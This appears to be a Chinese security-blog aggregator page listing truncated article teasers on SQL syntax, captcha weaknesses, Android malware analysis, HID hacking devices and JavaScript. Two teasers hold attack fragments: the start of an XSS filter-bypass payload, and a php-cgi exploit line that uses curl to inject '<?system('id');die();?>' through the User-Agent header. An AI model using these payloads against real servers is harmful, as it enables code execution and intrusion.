在sql语名中，if not exists 即如果不存在，if exists 即如果存在。 下面学习下二者的用法。 a，判断数据库不存在时 复制代码 代码如下:if not exists（select...
WooYun-Zone
乌云公益暖冬行动 (WOOYUN)
肉肉 (我我我我我我是乌云头号美男子) | 2014-12-23 20:49 两个真实的故事：第一个http://zone.wooyun.org/content/17389在本来应该安心准备高考的日子...
Seay信息安全博客
科普好文：常见验证码的弱点与验证码识别 实例
显示不全请点击全屏阅读 0x00 简介 验证码作为一种辅助安全手段在Web安全中有着特殊的地位，验证码安全和web应用中的众多漏洞相比似乎微不足道，但是千里之堤毁于蚁穴，有些时候如果能绕过验证码，则可...
WooYun-Drops
Ghost Push —— Monkey Test & Time Service病毒分析报
http://drops.wooyun.org/tips/8923 2015年8月，酷派大神手机用户在安装官方提供的系统升级包后，手机便被预安装了MonkeyTest和TimeService等未知软件...
神兵利刃
烧鹅：中国人自己的HID Hacking Device
美国有USB Rubber Ducky（橡皮鸭），中国有“烧鹅”，我们自己的HID Hacking Device！一、烧鹅介绍烧鹅是RadioWar基于Teensy++ 2.0 A...
手机是如何搜集用户位置信息的？
用户的位置信息比较敏感。很多移动应用（LBS应用）都要求用户提供所在的地理位置，因此智能手机都有获得用户地理位置的相关功能。不过一般情况下都是在用户同意的情况下才会自动对用户进行定位。苹果公司也曾因为...
脚本语言
Javascript模块化编程（一）：模块的写法
随着网站逐渐变成"互联网应用程序"，嵌入网页的Javascript代码越来越庞大，越来越复杂。 网页越来越像桌面程序，需要一个团队分工协作、进度管理、单元测试等等........
[大数据]如何获取真实的大数据信息
企业经营大数据，往往只是包括收集大量的数据，然后寻找其模式和对其进行分析，这些是由廉价的存储，丰富的传感器和新的软件所导致的。在不到十年的时间里，这已经成为了一个价值数十亿美元的产业。在这样的一个大数...
Seay信息安全博客
XSS跨站：xss插入代码和绕过过滤 |
显示不全请点击全屏阅读 代码插入方式 由于插入的脚本为js或者是vbs，所有一般需要由的关键字JavaScript、VbScript、expression比 如<IMG SRC=”...
Seay信息安全博客
php-cgi漏洞利用EXP |
显示不全请点击全屏阅读 1、本地包含直接执行代码: curl -H “USER-AGENT: <?system(‘id’);die();?>” http://target.com/test...
